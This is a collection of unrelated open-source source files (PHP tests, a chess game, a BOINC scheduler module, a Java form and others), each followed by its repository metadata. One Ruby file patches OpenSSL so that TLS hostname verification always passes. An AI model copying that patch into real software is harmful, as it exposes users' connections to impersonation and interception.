$fileStore->expects($this->exactly(1)) ->method('getFile') ->with($this->equalTo('/qaz.php')) ->willReturn($cont1); $cont2->set('file_store', $fileStore); $locator = $this->getMockForAbstractClass(LocatorInterface::class); $locator->expects($this->once()) ->method('getPathsForClass') ->with($this->equalTo('\\CC')) ->willReturn(['/qaz.php']); $cont2->set('locator', $locator, ['reflection.locator']); $io = $this->getMockForAbstractClass(FileIOInterface::class); $cont2->set('io', $io); $refl = new LocatorReflection($cont2); $classes = $refl->findClass('\\CC'); $this->assertCount(1, $classes); $this->assertSame('\\CC', $classes[0]->getName()); $this->assertSame('f', $classes[0]->getMethods()[0]->getName()); $classesCaseInsensitive = $refl->findClass('\\cC'); $this->assertSame($classes, $classesCaseInsensitive); } public function test_findFunction() { $cont1 = $this->loadFile('<?php function fff() {}', '/qaz.php'); $cont2 = $this->loadFile('<?php ;', '/wsx.php'); $fileStore = $this->getMockForAbstractClass(FileStoreInterface::class); $fileStore->expects($this->exactly(1)) ->method('getFile') ->with($this->equalTo('/qaz.php')) ->willReturn($cont1); $cont2->set('file_store', $fileStore); $locator = $this->getMockForAbstractClass(LocatorInterface::class); $locator->expects($this->once()) ->method('getPathsForFunction') ->with($this->equalTo('\\fff')) ->willReturn(['/qaz.php']); $cont2->set('locator', $locator, ['reflection.locator']); $io = $this->getMockForAbstractClass(FileIOInterface::class); $cont2->set('io', $io); $refl = new LocatorReflection($cont2); $functions = $refl->findFunction('\\fff'); $this->assertCount(1, $functions); $this->assertSame('\\fff', $functions[0]->getName()); $functionsCaseInsensitive = $refl->findFunction('\\fFf'); $this->assertSame($functions, $functionsCaseInsensitive); } public function test_findConst() { $cont1 = $this->loadFile('<?php const ZZ = 7;', '/qaz.php'); $cont2 = $this->loadFile('<?php ;', '/wsx.php'); $fileStore = $this->getMockForAbstractClass(FileStoreInterface::class); $fileStore->expects($this->exactly(1)) ->method('getFile') ->with($this->equalTo('/qaz.php')) ->willReturn($cont1); $cont2->set('file_store', $fileStore); $locator = $this->getMockForAbstractClass(LocatorInterface::class); $locator->expects($this->exactly(2)) ->method('getPathsForConst') ->withConsecutive([$this->equalTo('\\ZZ')], [$this->equalTo('\\zZ')]) ->will($this->onConsecutiveCalls(['/qaz.php'], [])); $cont2->set('locator', $locator, ['reflection.locator']); $io = $this->getMockForAbstractClass(FileIOInterface::class); $cont2->set('io', $io); $refl = new LocatorReflection($cont2); $consts = $refl->findConst('\\ZZ'); $this->assertCount(1, $consts); $this->assertSame('\\ZZ', $consts[0]->getName()); $constsCaseSensitive = $refl->findConst('\\zZ'); $this->assertCount(0, $constsCaseSensitive); } }
tsufeki/phpcmplr
tests/PhpCmplr/Core/Reflection/LocatorReflectionTest.php
PHP
gpl-3.0
5,229
var Gpio = function (physicalPin, wiringPiPin, name) { this.id = physicalPin; this.physicalPin = physicalPin; this.wiringPiPin = wiringPiPin; this.name = name; } Gpio.fromGpioDefinition = function (definition) { return new Gpio(definition.physicalPin, definition.wiringPiPin, definition.name); } module.exports = Gpio;
jvandervelden/rasp-train
src/node/models/gpio.js
JavaScript
gpl-3.0
340
#include "Granulizer.h" #include <iostream> Granulizer::Granulizer() : grainIdx_(0), straightIdx_(0), grainLen_(0.0f), generator(std::chrono::system_clock::now().time_since_epoch().count()) { } bool Granulizer::loadLoop(char* filename) { grainIdx_ = 0; grainLen_ = 0; SNDFILE* sfFile = sf_open(filename, SFM_READ, &sfInfo_); if (sfFile) { sf_command(sfFile, SFC_SET_NORM_FLOAT, NULL, SF_TRUE); loop_.resize(sfInfo_.frames * sfInfo_.channels); sf_read_float(sfFile, loop_.data(), sfInfo_.frames * sfInfo_.channels); sf_close(sfFile); std::cout << "Successfully loaded " << filename << "." << std::endl; grainLen_ = float(sfInfo_.frames) / sfInfo_.samplerate * 1000.0f; return true; } else { std::cerr << "Error: cannot open " << filename << "." << std::endl; } return false; } const Granulizer::Frame& Granulizer::grainedFrame() { Frame frame; frame.first = loop_[(grainStart_ + grainIdx_) % loop_.size()]; frame.second = loop_[(grainStart_ + grainIdx_ + 1) % loop_.size()]; grainIdx_ += 2; if (grainIdx_ > grainLen_ * sfInfo_.samplerate) { newGrain(); } return frame; } const Granulizer::Frame& Granulizer::straightFrame() { Frame frame; frame.first = loop_[straightIdx_++]; frame.second = loop_[straightIdx_++]; straightIdx_ %= loop_.size(); return frame; } void Granulizer::newGrain() { grainIdx_ = 0; grainStart_ = (generator() % int(sfInfo_.frames * 0.5 * sfInfo_.channels)) * 2; }
vooku/Generate-festival-music-demo
src/Granulizer.cpp
C++
gpl-3.0
1,629
package org.remipassmoilesel.bookme.services; import org.remipassmoilesel.bookme.utils.Utils; import javax.validation.constraints.Min; import javax.validation.constraints.NotNull; import javax.validation.constraints.Pattern; import javax.validation.constraints.Size; import java.util.Objects; /** * Created by remipassmoilesel on 30/01/17. */ public class MerchantServiceForm { @NotNull @Min(0) private double totalPrice; @NotNull private long id = -1; @NotNull @Size(max = 2000) private String comment; @NotNull @Size(min = 2, max = 50) private String customerFirstname; @NotNull @Size(min = 2, max = 50) private String customerLastname; @NotNull @Size(min = 2, max = 50) @Pattern(regexp = "\\+?[0-9]+") private String customerPhonenumber; @NotNull private Long customerId = -1l; @NotNull @Pattern(regexp = "([0-9]{2}/[0-9]{2}/[0-9]{4} [0-9]{2}:[0-9]{2})?") private String executionDate; @NotNull private Long serviceType = -1l; @NotNull private Boolean paid = false; @NotNull private Boolean scheduled = false; @NotNull private Long token; public MerchantServiceForm() { } /** * Load a service in form * * @param service */ public void load(MerchantService service) { if (service == null) { return; } setTotalPrice(service.getTotalPrice()); setId(service.getId()); if (service.getCustomer() != null) { setCustomerId(service.getCustomer().getId()); setCustomerFirstname(service.getCustomer().getFirstname()); setCustomerLastname(service.getCustomer().getLastname()); setCustomerPhonenumber(service.getCustomer().getPhonenumber()); } if (service.getExecutionDate() != null) { setExecutionDate(Utils.dateToString(service.getExecutionDate(), "dd/MM/YYYY HH:mm")); } if (service.getServiceType() != null) { setServiceType(service.getServiceType().getId()); } setComment(service.getComment()); setPaid(service.isPaid()); setScheduled(service.isScheduled()); } public double getTotalPrice() { return totalPrice; } public void setTotalPrice(double totalPrice) { this.totalPrice = totalPrice; } public long getId() { return id; } public void setId(long id) { this.id = id; } public String getComment() { return comment; } public void setComment(String comment) { this.comment = comment; } public String getCustomerFirstname() { return customerFirstname; } public void setCustomerFirstname(String customerFirstname) { this.customerFirstname = customerFirstname; } public String getCustomerLastname() { return customerLastname; } public void setCustomerLastname(String customerLastname) { this.customerLastname = customerLastname; } public String getCustomerPhonenumber() { return customerPhonenumber; } public void setCustomerPhonenumber(String customerPhonenumber) { this.customerPhonenumber = customerPhonenumber; } public long getCustomerId() { return customerId; } public void setCustomerId(long customerId) { this.customerId = customerId; } public String getExecutionDate() { return executionDate; } public void setExecutionDate(String executionDate) { this.executionDate = executionDate; } public long getServiceType() { return serviceType; } public void setServiceType(long serviceType) { this.serviceType = serviceType; } public boolean isPaid() { return paid; } public void setPaid(boolean paid) { this.paid = paid; } public boolean isScheduled() { return scheduled; } public void setScheduled(boolean scheduled) { this.scheduled = scheduled; } public Long getToken() { return token; } public void setToken(Long token) { this.token = token; } @Override public boolean equals(Object o) { if (this == o) return true; if (o == null || getClass() != o.getClass()) return false; MerchantServiceForm that = (MerchantServiceForm) o; return totalPrice == that.totalPrice && id == that.id && customerId == that.customerId && serviceType == that.serviceType && paid == that.paid && scheduled == that.scheduled && Objects.equals(comment, that.comment) && Objects.equals(customerFirstname, that.customerFirstname) && Objects.equals(customerLastname, that.customerLastname) && Objects.equals(customerPhonenumber, that.customerPhonenumber) && Objects.equals(executionDate, that.executionDate) && Objects.equals(token, that.token); } @Override public int hashCode() { return Objects.hash(totalPrice, id, comment, customerFirstname, customerLastname, customerPhonenumber, customerId, executionDate, serviceType, paid, scheduled, token); } }
remipassmoilesel/simple-hostel-management
src/main/java/org/remipassmoilesel/bookme/services/MerchantServiceForm.java
Java
gpl-3.0
5,356
# Monkey-patch OpenSSL to skip checking the hostname of the remote certificate. # We need to enable VERIFY_PEER in order to get hands on the remote certificate # to check the fingerprint. But we don't care for the matching of the # hostnames. Unfortunately this patch is apparently the only way to achieve # that. module OpenSSL module SSL def self.verify_certificate_identity(peer_cert, hostname) Rails.logger.debug "Ignoring check for hostname (verify_certificate_identity())." true end end end
schleuder/schleuder-web
lib/openssl_ssl_patch.rb
Ruby
gpl-3.0
521
using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace MECS.Core.Engraving { public class EngraverPosition { public int X { get; set; } public int Y { get; set; } } }
Mr-Alicates/MECS
MECS/MECS.Core/Engraving/EngraverPosition.cs
C#
gpl-3.0
270
#include "chessgame.h" #include <QUrl> #include <QQmlContext> #include <QDebug> #include "validator/pawnvalidator.h" #include "validator/rookvalidator.h" #include "validator/knightvalidator.h" #include "validator/bishopvalidator.h" #include "validator/queenvalidator.h" #include "validator/kingvalidator.h" #define HISTORY_MARKER 0xDADA ChessGame::ChessGame(QObject *parent) : QObject(parent) , m_screenId(Screen_1) , m_pEngine(nullptr) , m_pChessboard(nullptr) , m_lastMovedIdx(0) {} void ChessGame::initialize(QQmlApplicationEngine *pEngine) { m_pEngine = pEngine; m_pChessboard = pEngine->rootObjects().first()->findChild<QQuickItem *>("chessboard"); foreach (QQuickItem *pItem, m_pChessboard->findChildren<QQuickItem *>(QRegExp("chesspiece\\d\\d?"))) setValidatorByIdx(pItem); } void ChessGame::start() { m_history.clear(); QMetaObject::invokeMethod(m_pChessboard, "init", Q_ARG(QVariant, true)); m_field.resetField(m_pChessboard); m_lastMovedIdx = 0; setScreenId(Screen_2); qDebug("The Game is STARTED"); } void ChessGame::stop() { QMetaObject::invokeMethod(m_pChessboard, "clear"); setScreenId(Screen_1); qDebug("The Game is STOPPED"); } void ChessGame::load(const QUrl &filepath) { QString name = filepath.toLocalFile(); QFile f(name); if (!f.open(QFile::ReadOnly)) { qDebug() << "Can't open file:" << name; return; } QDataStream s(&f); quint16 marker; s >> marker; if (static_cast<quint16>(HISTORY_MARKER) == marker) { s >> m_history; QMetaObject::invokeMethod(m_pChessboard, "init", Q_ARG(QVariant, false)); setScreenId(Screen_3); qDebug() << "LOADED:" << name; } } void ChessGame::save(const QUrl &filepath) { QString name = filepath.toLocalFile(); QFile f(name); if (!f.open(QFile::WriteOnly)) { qDebug() << "Can't open file:" << name; return; } QDataStream s(&f); s << static_cast<quint16>(HISTORY_MARKER) << m_history; qDebug() << "SAVED:" << name; } bool ChessGame::prev() { Move *pMove = m_history.getPrev(); if (pMove) { QQuickItem *pItem = getChessPieceByIdx(pMove->getMovedIdx()); QMetaObject::invokeMethod(pItem, "moveToCell", Q_ARG(QVariant, pMove->getBefore())); if (pMove->getDeletedIdx()) { QQuickItem *pDelItem = getChessPieceByIdx(pMove->getDeletedIdx()); pDelItem->setProperty("visible", true); } qDebug() << "PREV:" << pMove->getMovedIdx() << pMove->getBefore() << pMove->getAfter() << pMove->getDeletedIdx(); } return pMove; } bool ChessGame::next() { Move *pMove = m_history.getNext(); if (pMove) { QQuickItem *pItem = getChessPieceByIdx(pMove->getMovedIdx()); QMetaObject::invokeMethod(pItem, "moveToCell", Q_ARG(QVariant, pMove->getAfter())); if (pMove->getDeletedIdx()) { QQuickItem *pDelItem = getChessPieceByIdx(pMove->getDeletedIdx()); pDelItem->setProperty("visible", false); } qDebug() << "NEXT:" << pMove->getMovedIdx() << pMove->getBefore() << pMove->getAfter() << pMove->getDeletedIdx(); } return pMove; } bool ChessGame::move(int sIdx, int sCell, int dCell) { bool isValidColor = (m_lastMovedIdx <= 16 && sIdx > 16) || (m_lastMovedIdx > 16 && sIdx <= 16); int deletedIdx = 0; if (isValidColor && m_field.makeMove(sCell, dCell, &deletedIdx)) { m_history.addStep(Move(sIdx, sCell, dCell, deletedIdx)); m_lastMovedIdx = sIdx; return true; } return false; } void ChessGame::setValidatorByIdx(QQuickItem *pChessPiece) { static IValidator *pPawnValidator = new PawnValidator(&m_field, m_pChessboard); static IValidator *pRookValidator = new RookValidator(&m_field, m_pChessboard); static IValidator *pKnightValidator = new KnightValidator(&m_field, m_pChessboard); static IValidator *pBishopValidator = new BishopValidator(&m_field, m_pChessboard); static IValidator *pQueenValidator = new QueenValidator(&m_field, m_pChessboard); static IValidator *pKingValidator = new KingValidator(&m_field, m_pChessboard); int idx = pChessPiece->property("idx").toInt(); if ((idx >= 9 && idx <= 16) || (idx >= 49 && idx <= 56)) { pChessPiece->setProperty("validator", QVariant::fromValue(pPawnValidator)); } else { switch (idx) { case 1: case 8: case 57: case 64: pChessPiece->setProperty("validator", QVariant::fromValue(pRookValidator)); break; case 2: case 7: case 58: case 63: pChessPiece->setProperty("validator", QVariant::fromValue(pKnightValidator)); break; case 3: case 6: case 59: case 62: pChessPiece->setProperty("validator", QVariant::fromValue(pBishopValidator)); break; case 4: case 60: pChessPiece->setProperty("validator", QVariant::fromValue(pQueenValidator)); break; case 5: case 61: pChessPiece->setProperty("validator", QVariant::fromValue(pKingValidator)); break; } } } QQuickItem *ChessGame::getChessPieceByIdx(int idx) { return m_pChessboard->findChild<QQuickItem *>(QString("chesspiece%1").arg(idx)); }
remico/dai-chess
src/chessgame.cpp
C++
gpl-3.0
5,364
<?php /** * Dashboard - Products * * @package FrozrCoreLibrary * @subpackage FrozrmarketTemplates */ if ( ! defined( 'ABSPATH' ) ) exit; /* Exit if accessed directly*/ frozr_redirect_login(); frozr_redirect_if_not_seller(); $action = isset( $_GET['action'] ) ? wc_clean($_GET['action']) : 'listing'; if ( $action == 'edit' ) { frozr_get_template( FROZR_WOO_TMP . '/dish-edit.php'); } else { frozr_get_template( FROZR_WOO_TMP . '/dishes-listing.php'); }
MahmudHamid/LazyEater
templates/dishes.php
PHP
gpl-3.0
471
window.saveData = function (key, data) { if(!localStorage.savedData) localStorage.savedData = JSON.stringify({}); var savedData = JSON.parse(localStorage.savedData) var type = typeof data; savedData[key] = { type: type, data: (type === 'object') ? JSON.stringify(data) : data }; localStorage.savedData = JSON.stringify(savedData); } window.getData = function (key) { var savedData = JSON.parse(localStorage.savedData) if(savedData[key] !== undefined) { var value = savedData[key]; if(value.type === 'number') { return parseFloat(value.data) } else if (value.type === 'string') { return value.data; } else if (value.type === 'object') { return JSON.parse(value.data); } } else { throw (new Error(key + " does not exist in saved data.")) } }
zrispo/wick
lib/localstoragewrapper.js
JavaScript
gpl-3.0
780
// This file is part of BOINC. // http://boinc.berkeley.edu // Copyright (C) 2008 University of California // // BOINC is free software; you can redistribute it and/or modify it // under the terms of the GNU Lesser General Public License // as published by the Free Software Foundation, // either version 3 of the License, or (at your option) any later version. // // BOINC is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. // See the GNU Lesser General Public License for more details. // // You should have received a copy of the GNU Lesser General Public License // along with BOINC. If not, see <http://www.gnu.org/licenses/>. // SCHED_SHMEM is the structure of a chunk of memory shared between // the feeder (which reads from the database) // and instances of the scheduling server #include "config.h" #include <cstdio> #include <cstdlib> #include <cstring> #include <string> #include <vector> using std::vector; #include "boinc_db.h" #include "error_numbers.h" #ifdef _USING_FCGI_ #include "boinc_fcgi.h" #endif #include "sched_config.h" #include "sched_msgs.h" #include "sched_types.h" #include "sched_util.h" #include "sched_shmem.h" void SCHED_SHMEM::init(int nwu_results) { int size = sizeof(SCHED_SHMEM) + nwu_results*sizeof(WU_RESULT); memset(this, 0, size); ss_size = size; platform_size = sizeof(PLATFORM); app_size = sizeof(APP); app_version_size = sizeof(APP_VERSION); assignment_size = sizeof(ASSIGNMENT); wu_result_size = sizeof(WU_RESULT); max_platforms = MAX_PLATFORMS; max_apps = MAX_APPS; max_app_versions = MAX_APP_VERSIONS; max_assignments = MAX_ASSIGNMENTS; max_wu_results = nwu_results; } static int error_return(const char* p) { fprintf(stderr, "Error in structure: %s\n", p); return ERR_SCHED_SHMEM; } int SCHED_SHMEM::verify() { int size = sizeof(SCHED_SHMEM) + max_wu_results*sizeof(WU_RESULT); if (ss_size != size) return error_return("shmem"); if (platform_size != sizeof(PLATFORM)) return error_return("platform"); if (app_size != sizeof(APP)) return error_return("app"); if (app_version_size != sizeof(APP_VERSION)) return error_return("app_version"); if (assignment_size != sizeof(ASSIGNMENT)) return error_return("assignment"); if (wu_result_size != sizeof(WU_RESULT)) return error_return("wu_result"); if (max_platforms != MAX_PLATFORMS) return error_return("max platform"); if (max_apps != MAX_APPS) return error_return("max apps"); if (max_app_versions != MAX_APP_VERSIONS) return error_return("max app versions"); if (max_assignments != MAX_ASSIGNMENTS) return error_return("max assignments"); return 0; } static void overflow(const char* table, const char* param_name) { log_messages.printf(MSG_CRITICAL, "The SCHED_SHMEM structure is too small for the %s table.\n" "Either increase the %s parameter in sched_shmem.h and recompile,\n" "or prune old rows from the table.\n" "Then restart the project.\n", table, param_name ); exit(1); } int SCHED_SHMEM::scan_tables() { DB_PLATFORM platform; DB_APP app; DB_APP_VERSION app_version; DB_ASSIGNMENT assignment; int i, j, n; n = 0; while (!platform.enumerate()) { if (platform.deprecated) continue; platforms[n++] = platform; if (n == MAX_PLATFORMS) { overflow("platforms", "MAX_PLATFORMS"); } } nplatforms = n; n = 0; app_weight_sum = 0; while (!app.enumerate()) { if (app.deprecated) continue; apps[n++] = app; if (n == MAX_APPS) { overflow("apps", "MAX_APPS"); } app_weight_sum += app.weight; if (app.locality_scheduling == LOCALITY_SCHED_LITE) { locality_sched_lite = true; } if (app.non_cpu_intensive) { have_nci_app = true; } if (config.non_cpu_intensive) { have_nci_app = true; app.non_cpu_intensive = true; } } napps = n; n = 0; // for each (app, platform) pair, // get all versions with numbers maximal in their plan class. // for (i=0; i<nplatforms; i++) { PLATFORM& splatform = platforms[i]; for (j=0; j<napps; j++) { APP& sapp = apps[j]; vector<APP_VERSION> avs; char query[1024]; sprintf(query, "where appid=%d and platformid=%d and deprecated=0", sapp.id, splatform.id ); while (!app_version.enumerate(query)) { avs.push_back(app_version); } for (unsigned int k=0; k<avs.size(); k++) { APP_VERSION& av1 = avs[k]; for (unsigned int kk=0; kk<avs.size(); kk++) { if (k == kk) continue; APP_VERSION& av2 = avs[kk]; if (!strcmp(av1.plan_class, av2.plan_class) && av1.version_num > av2.version_num) { av2.deprecated = 1; } } } for (unsigned int k=0; k<avs.size(); k++) { APP_VERSION& av1 = avs[k]; if (av1.deprecated) continue; if (av1.min_core_version && av1.min_core_version < 10000) { fprintf(stderr, "min core version too small - multiplying by 100\n"); av1.min_core_version *= 100; } if (av1.max_core_version && av1.max_core_version < 10000) { fprintf(stderr, "max core version too small - multiplying by 100\n"); av1.max_core_version *= 100; } app_versions[n++] = av1; if (n == MAX_APP_VERSIONS) { overflow("app_versions", "MAX_APP_VERSIONS"); } } } } napp_versions = n; // see which resources we have app versions for // for (i=0; i<NPROC_TYPES; i++) { have_apps_for_proc_type[i] = false; } for (i=0; i<napp_versions; i++) { APP_VERSION& av = app_versions[i]; if (strstr(av.plan_class, "cuda") || strstr(av.plan_class, "nvidia")) { have_apps_for_proc_type[PROC_TYPE_NVIDIA_GPU] = true; } else if (strstr(av.plan_class, "ati")) { have_apps_for_proc_type[PROC_TYPE_AMD_GPU] = true; } else if (strstr(av.plan_class, "intel_gpu")) { have_apps_for_proc_type[PROC_TYPE_INTEL_GPU] = true; } else { have_apps_for_proc_type[PROC_TYPE_CPU] = true; } } n = 0; while (!assignment.enumerate("where multi <> 0")) { assignments[n++] = assignment; if (n == MAX_ASSIGNMENTS) { overflow("assignments", "MAX_ASSIGNMENTS"); } } nassignments = n; return 0; } PLATFORM* SCHED_SHMEM::lookup_platform(char* name) { for (int i=0; i<nplatforms; i++) { if (!strcmp(platforms[i].name, name)) { return &platforms[i]; } } return NULL; } PLATFORM* SCHED_SHMEM::lookup_platform_id(int id) { for (int i=0; i<nplatforms; i++) { if (platforms[i].id == id) return &platforms[i]; } return NULL; } APP* SCHED_SHMEM::lookup_app(int id) { for (int i=0; i<napps; i++) { if (apps[i].id == id) return &apps[i]; } return NULL; } APP* SCHED_SHMEM::lookup_app_name(char* name) { for (int i=0; i<napps; i++) { if (!strcmp(name, apps[i].name)) return &apps[i]; } return NULL; } APP_VERSION* SCHED_SHMEM::lookup_app_version(int id) { APP_VERSION* avp; for (int i=0; i<napp_versions; i++) { avp = &app_versions[i]; if (avp->id == id) { return avp; } } return NULL; } APP_VERSION* SCHED_SHMEM::lookup_app_version_platform_plan_class( int platformid, char* plan_class ) { APP_VERSION* avp; for (int i=0; i<napp_versions; i++) { avp = &app_versions[i]; if (avp->platformid == platformid && !strcmp(avp->plan_class, plan_class)) { return avp; } } return NULL; } // see if there's any work. // If there is, reserve it for this process // (if we don't do this, there's a race condition where lots // of servers try to get a single work item) // bool SCHED_SHMEM::no_work(int pid) { if (!ready) return true; for (int i=0; i<max_wu_results; i++) { if (wu_results[i].state == WR_STATE_PRESENT) { wu_results[i].state = pid; return false; } } return true; } void SCHED_SHMEM::restore_work(int pid) { for (int i=0; i<max_wu_results; i++) { if (wu_results[i].state == pid) { wu_results[i].state = WR_STATE_PRESENT; return; } } } void SCHED_SHMEM::show(FILE* f) { fprintf(f, "app versions:\n"); for (int i=0; i<napp_versions; i++) { APP_VERSION av = app_versions[i]; fprintf(f, "appid: %d platformid: %d version_num: %d plan_class: %s\n", av.appid, av.platformid, av.version_num, av.plan_class ); } for (int i=0; i<NPROC_TYPES; i++) { fprintf(f, "have %s apps: %s\n", proc_type_name(i), have_apps_for_proc_type[i]?"yes":"no" ); } fprintf(f, "Jobs; key:\n" "ap: app ID\n" "ic: infeasible count\n" "wu: workunit ID\n" "rs: result ID\n" "hr: HR class\n" "nr: need reliable\n" ); fprintf(f, "host fpops mean %f stddev %f\n", perf_info.host_fpops_mean, perf_info.host_fpops_stddev ); fprintf(f, "host fpops 50th pctile %f 95th pctile %f\n", perf_info.host_fpops_50_percentile, perf_info.host_fpops_95_percentile ); fprintf(f, "ready: %d\n", ready); fprintf(f, "max_wu_results: %d\n", max_wu_results); for (int i=0; i<max_wu_results; i++) { if (i%24 == 0) { fprintf(f, "%4s %12s %10s %10s %10s %8s %10s %8s %12s %12s %9s\n", "slot", "app", "WU ID", "result ID", "batch", "HR class", "priority", "in shmem", "size (stdev)", "need reliable", "inf count" ); } WU_RESULT& wu_result = wu_results[i]; APP* app; const char* appname; int delta_t; switch(wu_result.state) { case WR_STATE_PRESENT: app = lookup_app(wu_result.workunit.appid); appname = app?app->name:"missing"; delta_t = dtime() - wu_result.time_added_to_shared_memory; fprintf(f, "%4d %12.12s %10d %10d %10d %8d %10d %7ds %12f %12s %9d\n", i, appname, wu_result.workunit.id, wu_result.resultid, wu_result.workunit.batch, wu_result.workunit.hr_class, wu_result.res_priority, delta_t, wu_result.fpops_size, wu_result.need_reliable?"yes":"no", wu_result.infeasible_count ); break; case WR_STATE_EMPTY: fprintf(f, "%4d: ---\n", i); break; default: fprintf(f, "%4d: PID %d: result %u\n", i, wu_result.state, wu_result.resultid); } } } const char *BOINC_RCSID_e548c94703 = "$Id$";
MestreLion/boinc-debian
sched/sched_shmem.cpp
C++
gpl-3.0
11,690
import request from '@/utils/request' export function fetchCommon() { return request({ url: '/setting/common/cron/', method: 'get' }) } export function editCommon(formData) { const data = formData return request({ url: '/setting/common/cron/', method: 'put', data }) } export function fetchBotedu() { return request({ url: '/setting/botedu/cron/', method: 'get' }) } export function editBotedu(formData) { const data = formData return request({ url: '/setting/botedu/cron/', method: 'put', data }) } export function fetchStats() { return request({ url: '/setting/stats/cron/', method: 'get' }) } export function editStats(formData) { const data = formData return request({ url: '/setting/stats/cron/', method: 'put', data }) }
wdxtub/Patriots
frontend/src/api/setting.js
JavaScript
gpl-3.0
823
package net.BukkitPE.item.enchantment.bow; import net.BukkitPE.item.enchantment.Enchantment; /** * BukkitPE Project */ public class EnchantmentBowInfinity extends EnchantmentBow { public EnchantmentBowInfinity() { super(Enchantment.ID_BOW_INFINITY, "arrowInfinite", 1); } @Override public int getMinEnchantAbility(int level) { return 20; } @Override public int getMaxEnchantAbility(int level) { return 50; } @Override public int getMaxLevel() { return 1; } }
BukkitPE/BukkitPE
src/main/java/net/BukkitPE/item/enchantment/bow/EnchantmentBowInfinity.java
Java
gpl-3.0
542
class AddStatusToUsers < ActiveRecord::Migration def self.up add_column :users, :status, :string, :default => "U" remove_column :users, :approved end def self.down remove_column :users, :status add_column :users, :approved, :boolean, :default => false end end
IntersectAustralia/nedb
db/migrate/20101015032903_add_status_to_users.rb
Ruby
gpl-3.0
285
#include <stdlib.h> #include <iostream> #include "boats/FloatingObject.hpp" using namespace std; // Quelques conseils avant de commencer... // * N'oubliez pas de tracer (cout << ...) tous les constructeurs et le destructeur !!! Ca, c'est pas un conseil, // c'est obligatoire :-) // * N'essayez pas de compiler ce programme entierement immediatement. Mettez tout en commentaires // sauf le point (1) et creez votre classe (dans ce fichier pour commencer) afin de compiler et tester // le point (1). Une fois que cela fonctionne, decommentez le point (2) et modifier votre classe en // consequence. Vous developpez, compilez et testez donc etape par etape. N'attendez pas d'avoir encode // 300 lignes pour compiler... // * Une fois que tout le programme compile et fonctionne correctement, creez le .h contenant la declaration // de la classe, le .cxx contenant la definition des methodes, et ensuite le makefile permettant de compiler // le tout grace a la commande make int main() { cout << endl << "(1) ***** Test constructeur par defaut + affiche *****" << endl; { FloatingObject objetFlottant; objetFlottant.display(); } // La presence des accolades assure que le destructeur de avion sera appele --> a tracer ! cout << endl << "(2) ***** Test des setters et getters *****" << endl; { FloatingObject objetFlottant; objetFlottant.setIdentifier("HC-1716"); objetFlottant.setModel("HobieCat16Easy"); objetFlottant.display(); cout << "Identifiant = " << objetFlottant.getIdentifier() << endl; cout << "Modele = " << objetFlottant.getModel() << endl; } cout << endl << "(3) ***** Test du constructeur d'initialisation *****" << endl; { FloatingObject objetFlottant("HC-1821","HobieCat21Hard"); objetFlottant.display(); } cout << endl << "(4) ***** Test du constructeur de copie *****" << endl; { FloatingObject objetFlottant1("HC-2110","HobieCat10Easy"); cout << "objetFlottant1 (AVANT) :" << endl; objetFlottant1.display(); { FloatingObject objetFlottant2(objetFlottant1); cout << "objetFlottant2 :" << endl; objetFlottant2.display(); objetFlottant2.setIdentifier("HC-2112"); objetFlottant2.display(); } // de nouveau, les {} assurent que objetFlottant2 sera detruit avant la suite cout << "objetFlottant1 (APRES) :" << endl; objetFlottant1.display(); } cout << endl << "(5) ***** Test d'allocation dynamique (constructeur par defaut) *****" << endl; { FloatingObject *p = new FloatingObject(); p->setIdentifier("BI-4115"); p->setModel("BicCat15Easy"); p->display(); cout << "Le modele de cet objet flottant est : " << p->getModel() << endl; delete p; } cout << endl << "(6) ***** Test d'allocation dynamique (constructeur de copie) *****" << endl; { FloatingObject objetFlottant1("BI-7415","BicCat21Hard"); cout << "objetFlottant1 (AVANT) :" << endl; objetFlottant1.display(); FloatingObject* p = new FloatingObject(objetFlottant1); cout << "La copie :" << endl; p->display(); cout << "Destruction de la copie..." << endl; delete p; cout << "objetFlottant1 (APRES) :" << endl; objetFlottant1.display(); } return 0; }
bendem/SchoolBoats
Test1.cpp
C++
gpl-3.0
3,245